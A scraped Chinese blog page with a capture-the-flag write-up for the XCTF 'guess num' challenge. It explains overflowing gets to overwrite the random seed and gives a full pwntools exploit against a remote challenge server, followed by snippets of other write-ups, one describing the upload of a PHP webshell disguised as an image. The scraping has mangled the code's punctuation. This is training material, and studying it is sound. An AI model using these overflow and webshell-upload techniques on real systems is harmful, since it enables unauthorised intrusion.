攻防世界 guess num Writeup

2021-10-06 04:43:28 字數 1670 閱讀 2747

考察點:利用棧溢位固定隨機數

__int64 __fastcall main

(__int64 a1,

char

**a2,

char

**a3)

puts

("success!");

}sub_c3e()

;return

0ll;

}

由於題目開啟 canary 不能直接控制 eip ,觀察棧空間發現 v7 位於 seed 前面。

-000000000000003c var_3c          dd ?

-0000000000000038 var_38 dd ?

-0000000000000034 var_34 dd ?

-0000000000000030 v7 db ?

-000000000000002f db ? ; undefined

-000000000000002e db ? ; undefined

…………

…………

-0000000000000010 seed dd 2 dup(?)

-0000000000000008 var_8 dq ?

+0000000000000000 s db 8 dup(?)

+0000000000000008 r db 8 dup(?)

隨機數的隨機性是基於 seed 種子,當固定 seed 時,實際上生成的是偽隨機數,也就是乙個固定的值。這道題幾時利用 gets 造成棧溢位覆蓋 seed 固定生成隨機數,配合 ctypes 庫實現 python、c 混合程式設計。

完整exp:

#!usr/bin/python

#coding=utf-8

from pwn import

*from ctypes import

*context.log_level =

';debug'

;p = remote(

"111.198.29.45"

,57280

)#p = process(';./b59204f56a0545e8a22f8518e749f19f';)

libc = cdll.loadlibrary(

"/lib/x86_64-linux-gnu/libc.so.6"

)payload =

"a"*

0x20

+ p64(1)

p.recvuntil(

';your name:';)

p.sendline(payload)

libc.srand(1)

for _ in

range(10

):num =

str(libc.rand()%

6+1)

p.recvuntil(

';number:';)

p.sendline(num)

p.interactive(

)

[/collapse]

攻防世界mfw 攻防世界 Web mfw

題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...

攻防世界Web lottery

開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...

攻防世界 xctf Guess writeup

本題的解析官網上有,這裡是乙個自動化的指令碼,完成的是自動上傳乙個ant.jpg的檔案 ant.jpg是乙個ant.zip壓縮包重新命名的檔案,裡面是乙個ant.php的一句話木馬 執行返回的是在web後台這個檔案重新命名後的檔案的url。可通過zip偽協議訪問這個木馬。指令碼如下 import r...